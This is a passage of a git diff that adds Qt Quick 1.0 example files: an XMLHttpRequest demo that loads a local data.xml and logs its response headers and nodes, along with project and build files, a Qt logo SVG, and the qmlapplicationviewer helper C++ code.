+++ b/examples/declarative/xml/xmlhttprequest-example/qml/xmlhttprequest-example/xmlhttprequest-example.qml
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 350; height: 400
+
+ function showRequestInfo(text) {
+ log.text = log.text + "\n" + text
+ console.log(text)
+ }
+
+ Text { id: log; anchors.fill: parent; anchors.margins: 10 }
+
+ Rectangle {
+ id: button
+ anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom; anchors.margins: 10
+ width: buttonText.width + 10; height: buttonText.height + 10
+ border.width: mouseArea.pressed ? 2 : 1
+ radius : 5; smooth: true
+
+ Text { id: buttonText; anchors.centerIn: parent; text: "Request data.xml" }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: {
+ log.text = ""
+ console.log("\n")
+
+ var doc = new XMLHttpRequest();
+ doc.onreadystatechange = function() {
+ if (doc.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+ showRequestInfo("Headers -->");
+ showRequestInfo(doc.getAllResponseHeaders ());
+ showRequestInfo("Last modified -->");
+ showRequestInfo(doc.getResponseHeader ("Last-Modified"));
+
+ } else if (doc.readyState == XMLHttpRequest.DONE) {
+ var a = doc.responseXML.documentElement;
+ for (var ii = 0; ii < a.childNodes.length; ++ii) {
+ showRequestInfo(a.childNodes[ii].nodeName);
+ }
+ showRequestInfo("Headers -->");
+ showRequestInfo(doc.getAllResponseHeaders ());
+ showRequestInfo("Last modified -->");
+ showRequestInfo(doc.getResponseHeader ("Last-Modified"));
+ }
+ }
+
+ doc.open("GET", "data.xml");
+ doc.send();
+ }
+ }
+ }
+}
+
diff --git a/examples/declarative/xml/xmlhttprequest-example/xmlhttprequest.qmlproject b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequest.qmlproject
new file mode 100644
index 00000000..8d287496
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequest.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/xmlhttprequest-example"
+ }
+ JavaScriptFiles {
+ directory: "qml/xmlhttprequest-example"
+ }
+ ImageFiles {
+ directory: "qml/xmlhttprequest-example"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.png b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.png
Binary files differ
diff --git a/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.pro b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.pro
new file mode 100644
index 00000000..bfeb038b
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/xmlhttprequest-example
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE83495FC
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/xml/xmlhttprequest-example
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.svg b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest-example/xmlhttprequestexample.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/xml/xmlhttprequest/xmlhttprequest-example.qml b/examples/declarative/xml/xmlhttprequest/xmlhttprequest-example.qml
new file mode 100644
index 00000000..4edb9bf1
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest/xmlhttprequest-example.qml
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 350; height: 400
+
+ function showRequestInfo(text) {
+ log.text = log.text + "\n" + text
+ console.log(text)
+ }
+
+ Text { id: log; anchors.fill: parent; anchors.margins: 10 }
+
+ Rectangle {
+ id: button
+ anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom; anchors.margins: 10
+ width: buttonText.width + 10; height: buttonText.height + 10
+ border.width: mouseArea.pressed ? 2 : 1
+ radius : 5; smooth: true
+
+ Text { id: buttonText; anchors.centerIn: parent; text: "Request data.xml" }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: {
+ log.text = ""
+ console.log("\n")
+
+ var doc = new XMLHttpRequest();
+ doc.onreadystatechange = function() {
+ if (doc.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+ showRequestInfo("Headers -->");
+ showRequestInfo(doc.getAllResponseHeaders ());
+ showRequestInfo("Last modified -->");
+ showRequestInfo(doc.getResponseHeader ("Last-Modified"));
+
+ } else if (doc.readyState == XMLHttpRequest.DONE) {
+ var a = doc.responseXML.documentElement;
+ for (var ii = 0; ii < a.childNodes.length; ++ii) {
+ showRequestInfo(a.childNodes[ii].nodeName);
+ }
+ showRequestInfo("Headers -->");
+ showRequestInfo(doc.getAllResponseHeaders ());
+ showRequestInfo("Last modified -->");
+ showRequestInfo(doc.getResponseHeader ("Last-Modified"));
+ }
+ }
+
+ doc.open("GET", "data.xml");
+ doc.send();
+ }
+ }
+ }
+}
+
diff --git a/examples/declarative/xml/xmlhttprequest/xmlhttprequest.qmlproject b/examples/declarative/xml/xmlhttprequest/xmlhttprequest.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/xml/xmlhttprequest/xmlhttprequest.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/helper/qmlapplicationviewer/qmlapplicationviewer.cpp b/examples/helper/qmlapplicationviewer/qmlapplicationviewer.cpp
new file mode 100644
index 00000000..570f68f3
--- /dev/null
+++ b/examples/helper/qmlapplicationviewer/qmlapplicationviewer.cpp
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+
+#include <QtCore/QDir>
+#include <QtCore/QFileInfo>
+#include <QtDeclarative/QDeclarativeComponent>
+#include <QtDeclarative/QDeclarativeEngine>
+#include <QtDeclarative/QDeclarativeContext>
+#include <QtGui/QApplication>
+
+#include <qplatformdefs.h> // MEEGO_EDITION_HARMATTAN
+
+#ifdef HARMATTAN_BOOSTER
+#include <MDeclarativeCache>
+#endif
+
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+
+#include <qt_private/qdeclarativedebughelper_p.h>
+
+#if !defined(NO_JSDEBUGGER)
+#include <jsdebuggeragent.h>
+#endif
+#if !defined(NO_QMLOBSERVER)
+#include <qdeclarativeviewobserver.h>
+#endif
+
+// Enable debugging before any QDeclarativeEngine is created
+struct QmlJsDebuggingEnabler
+{
+ QmlJsDebuggingEnabler()
+ {
+ QDeclarativeDebugHelper::enableDebugging();
+ }
+};
+
+// Execute code in constructor before first QDeclarativeEngine is instantiated
+static QmlJsDebuggingEnabler enableDebuggingHelper;
+
+#endif // QMLJSDEBUGGER
+
+class QmlApplicationViewerPrivate
+{
+ QmlApplicationViewerPrivate(QDeclarativeView *view_) : view(view_) {}
+
+ QString mainQmlFile;
+ QDeclarativeView *view;
+ friend class QmlApplicationViewer;
+ QString adjustPath(const QString &path);
+};
+
+QString QmlApplicationViewerPrivate::adjustPath(const QString &path)
+{
+#ifdef Q_OS_MAC
+ if (!QDir::isAbsolutePath(path))
+ return QString::fromLatin1("%1/../Resources/%2")
+ .arg(QCoreApplication::applicationDirPath(), path);
+#else
+ const QString pathInInstallDir =
+ QString::fromLatin1("%1/../%2").arg(QCoreApplication::applicationDirPath(), path);
+ if (QFileInfo(pathInInstallDir).exists())
+ return pathInInstallDir;
+#endif
+ return path;
+}
+
+QmlApplicationViewer::QmlApplicationViewer(QWidget *parent)
+ : QDeclarativeView(parent)
+ , d(new QmlApplicationViewerPrivate(this))
+{
+ connect(engine(), SIGNAL(quit()), SLOT(close()));
+ setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ // Qt versions prior to 4.8.0 don't have QML/JS debugging services built in
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+#if !defined(NO_JSDEBUGGER)
+ new QmlJSDebugger::JSDebuggerAgent(d->view->engine());
+#endif
+#if !defined(NO_QMLOBSERVER)
+ new QmlJSDebugger::QDeclarativeViewObserver(d->view, d->view);
+#endif
+#endif
+}
+
+QmlApplicationViewer::QmlApplicationViewer(QDeclarativeView *view, QWidget *parent)
+ : QDeclarativeView(parent)
+ , d(new QmlApplicationViewerPrivate(view))
+{
+ connect(view->engine(), SIGNAL(quit()), view, SLOT(close()));
+ view->setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ // Qt versions prior to 4.8.0 don't have QML/JS debugging services built in
+#if defined(QMLJSDEBUGGER) && QT_VERSION < 0x040800
+#if !defined(NO_JSDEBUGGER)
+ new QmlJSDebugger::JSDebuggerAgent(d->view->engine());
+#endif
+#if !defined(NO_QMLOBSERVER)
+ new QmlJSDebugger::QDeclarativeViewObserver(d->view, d->view);
+#endif
+#endif
+}
+
+QmlApplicationViewer::~QmlApplicationViewer()
+{
+ delete d;
+}
+
+QmlApplicationViewer *QmlApplicationViewer::create()
+{
+#ifdef HARMATTAN_BOOSTER
+ return new QmlApplicationViewer(MDeclarativeCache::qDeclarativeView(), 0);
+#else
+ return new QmlApplicationViewer();
+#endif
+}
+
+void QmlApplicationViewer::setMainQmlFile(const QString &file)
+{
+ d->mainQmlFile = d->adjustPath(file);
+ d->view->setSource(QUrl::fromLocalFile(d->mainQmlFile));
+}
+
+void QmlApplicationViewer::addImportPath(const QString &path)
+{
+ d->view->engine()->addImportPath(d->adjustPath(path));
+}
+
+void QmlApplicationViewer::setOrientation(ScreenOrientation orientation)
+{
+#if defined(Q_OS_SYMBIAN)
+ // If the version of Qt on the device is < 4.7.2, that attribute won't work
+ if (orientation != ScreenOrientationAuto) {
+ const QStringList v = QString::fromAscii(qVersion()).split(QLatin1Char('.'));
+ if (v.count() == 3 && (v.at(0).toInt() << 16 | v.at(1).toInt() << 8 | v.at(2).toInt()) < 0x040702) {
+ qWarning("Screen orientation locking only supported with Qt 4.7.2 and above");
+ return;
+ }
+ }
+#endif // Q_OS_SYMBIAN
+
+ Qt::WidgetAttribute attribute;
+ switch (orientation) {
+#if QT_VERSION < 0x040702
+ // Qt < 4.7.2 does not yet have the Qt::WA_*Orientation attributes
+ case ScreenOrientationLockPortrait:
+ attribute = static_cast<Qt::WidgetAttribute>(128);
+ break;
+ case ScreenOrientationLockLandscape:
+ attribute = static_cast<Qt::WidgetAttribute>(129);
+ break;
+ default:
+ case ScreenOrientationAuto:
+ attribute = static_cast<Qt::WidgetAttribute>(130);
+ break;
+#else // QT_VERSION < 0x040702
+ case ScreenOrientationLockPortrait:
+ attribute = Qt::WA_LockPortraitOrientation;
+ break;
+ case ScreenOrientationLockLandscape:
+ attribute = Qt::WA_LockLandscapeOrientation;
+ break;
+ default:
+ case ScreenOrientationAuto:
+ attribute = Qt::WA_AutoOrientation;
+ break;
+#endif // QT_VERSION < 0x040702
+ };
+ setAttribute(attribute, true);
+}
+
+void QmlApplicationViewer::showExpanded()
+{
+#if defined(Q_OS_SYMBIAN) || defined(MEEGO_EDITION_HARMATTAN) || defined(Q_WS_SIMULATOR)
+ d->view->showFullScreen();
+#elif defined(Q_WS_MAEMO_5)
+ d->view->showMaximized();
+#else
+ d->view->show();
+#endif
+}
+
+QApplication *createApplication(int &argc, char **argv)
+{
+#ifdef HARMATTAN_BOOSTER
+ return MDeclarativeCache::qApplication(argc, argv);
+#else
+ return new QApplication(argc, argv);
+#endif
+}
diff --git a/examples/helper/qmlapplicationviewer/qmlapplicationviewer.h b/examples/helper/qmlapplicationviewer/qmlapplicationviewer.h
new file mode 100644
index 00000000..85c02ab6
--- /dev/null
+++ b/examples/helper/qmlapplicationviewer/qmlapplicationviewer.h
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLAPPLICATIONVIEWER_H
+#define QMLAPPLICATIONVIEWER_H
+
+#include <QtDeclarative/QDeclarativeView>
+
